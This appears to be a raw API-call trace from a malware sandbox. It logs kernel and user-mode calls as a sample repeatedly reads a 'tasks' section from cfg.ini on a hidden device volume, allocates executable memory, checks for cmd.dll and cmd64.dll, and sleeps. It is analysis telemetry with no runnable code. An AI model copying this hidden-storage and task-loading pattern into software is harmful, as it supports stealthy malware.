[0126.251] IdePortDispatch () returned 0x103 [0126.251] KeWaitForMutexObject () returned 0x0 [0126.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.252] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.252] IdePortDispatch () returned 0x103 [0126.252] KeWaitForMutexObject () returned 0x0 [0126.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.252] KeLeaveCriticalRegion () [0126.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.252] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.252] KeEnterCriticalRegion () [0126.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.252] KeLeaveCriticalRegion () [0126.252] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.252] KeEnterCriticalRegion () [0126.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.252] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.252] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.252] KeLeaveCriticalRegion () [0126.252] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.253] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.253] KeEnterCriticalRegion () [0126.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.253] ExFreePoolWithTag (P=0xfffffa80037e0300, Tag=0x0) [0126.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.253] KeLeaveCriticalRegion () [0126.253] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.253] ReleaseMutex (hMutex=0xf0) returned 1 [0126.253] Sleep (dwMilliseconds=0x927c0) [0126.255] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.255] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.262] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.262] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.262] KeEnterCriticalRegion () [0126.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.262] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.262] IdePortDispatch () returned 0x103 [0126.262] KeWaitForMutexObject () returned 0x0 [0126.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.262] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.262] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.262] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.262] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.262] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] KeLeaveCriticalRegion () [0126.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.262] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.262] KeEnterCriticalRegion () [0126.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.262] KeLeaveCriticalRegion () [0126.262] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.262] KeEnterCriticalRegion () [0126.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.263] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.263] IdePortDispatch () returned 0x103 [0126.263] KeWaitForMutexObject () returned 0x0 [0126.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.263] KeLeaveCriticalRegion () [0126.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.263] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.263] KeEnterCriticalRegion () [0126.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003461000 [0126.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.263] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.263] IdePortDispatch () returned 0x103 [0126.263] KeWaitForMutexObject () returned 0x0 [0126.263] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.263] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.263] IdePortDispatch () returned 0x103 [0126.263] KeWaitForMutexObject () returned 0x0 [0126.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] KeLeaveCriticalRegion () [0126.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.264] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.264] KeEnterCriticalRegion () [0126.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] KeLeaveCriticalRegion () [0126.264] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.264] KeEnterCriticalRegion () [0126.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.264] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] KeLeaveCriticalRegion () [0126.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.264] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.264] KeEnterCriticalRegion () [0126.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.264] KeLeaveCriticalRegion () [0126.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.264] ReleaseMutex (hMutex=0xf0) returned 1 [0126.265] Sleep (dwMilliseconds=0x927c0) [0126.275] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.275] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.275] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.275] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.275] KeEnterCriticalRegion () [0126.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.275] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.275] IdePortDispatch () returned 0x103 [0126.275] KeWaitForMutexObject () returned 0x0 [0126.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.275] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.275] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.275] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.275] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.275] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0250 [0126.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] KeLeaveCriticalRegion () [0126.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.276] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.276] KeEnterCriticalRegion () [0126.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] KeLeaveCriticalRegion () [0126.276] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.276] KeEnterCriticalRegion () [0126.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.276] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.276] IdePortDispatch () returned 0x103 [0126.276] KeWaitForMutexObject () returned 0x0 [0126.276] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] KeLeaveCriticalRegion () [0126.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.276] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.276] KeEnterCriticalRegion () [0126.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003465000 [0126.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.276] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.276] IdePortDispatch () returned 0x103 [0126.277] KeWaitForMutexObject () returned 0x0 [0126.277] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.277] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.277] IdePortDispatch () returned 0x103 [0126.277] KeWaitForMutexObject () returned 0x0 [0126.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.277] KeLeaveCriticalRegion () [0126.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.277] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.277] KeEnterCriticalRegion () [0126.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.277] KeLeaveCriticalRegion () [0126.277] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.278] KeEnterCriticalRegion () [0126.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.278] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.278] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.278] KeLeaveCriticalRegion () [0126.278] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.278] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.278] KeEnterCriticalRegion () [0126.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.278] ExFreePoolWithTag (P=0xfffffa80037e0250, Tag=0x0) [0126.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.278] KeLeaveCriticalRegion () [0126.278] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.278] ReleaseMutex (hMutex=0xf0) returned 1 [0126.278] Sleep (dwMilliseconds=0x927c0) [0126.292] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.292] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.292] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.292] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.292] KeEnterCriticalRegion () [0126.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.292] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.292] IdePortDispatch () returned 0x103 [0126.292] KeWaitForMutexObject () returned 0x0 [0126.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.292] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.292] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.292] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.292] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4ad0 [0126.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.292] KeLeaveCriticalRegion () [0126.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.292] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.292] KeEnterCriticalRegion () [0126.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.292] KeLeaveCriticalRegion () [0126.292] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.292] KeEnterCriticalRegion () [0126.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.293] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.293] IdePortDispatch () returned 0x103 [0126.293] KeWaitForMutexObject () returned 0x0 [0126.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.293] KeLeaveCriticalRegion () [0126.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.293] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.293] KeEnterCriticalRegion () [0126.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346a000 [0126.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.293] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.293] IdePortDispatch () returned 0x103 [0126.293] KeWaitForMutexObject () returned 0x0 [0126.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.293] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.293] IdePortDispatch () returned 0x103 [0126.294] KeWaitForMutexObject () returned 0x0 [0126.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] KeLeaveCriticalRegion () [0126.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.294] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.294] KeEnterCriticalRegion () [0126.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] KeLeaveCriticalRegion () [0126.294] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.294] KeEnterCriticalRegion () [0126.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.294] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4b90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] KeLeaveCriticalRegion () [0126.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) 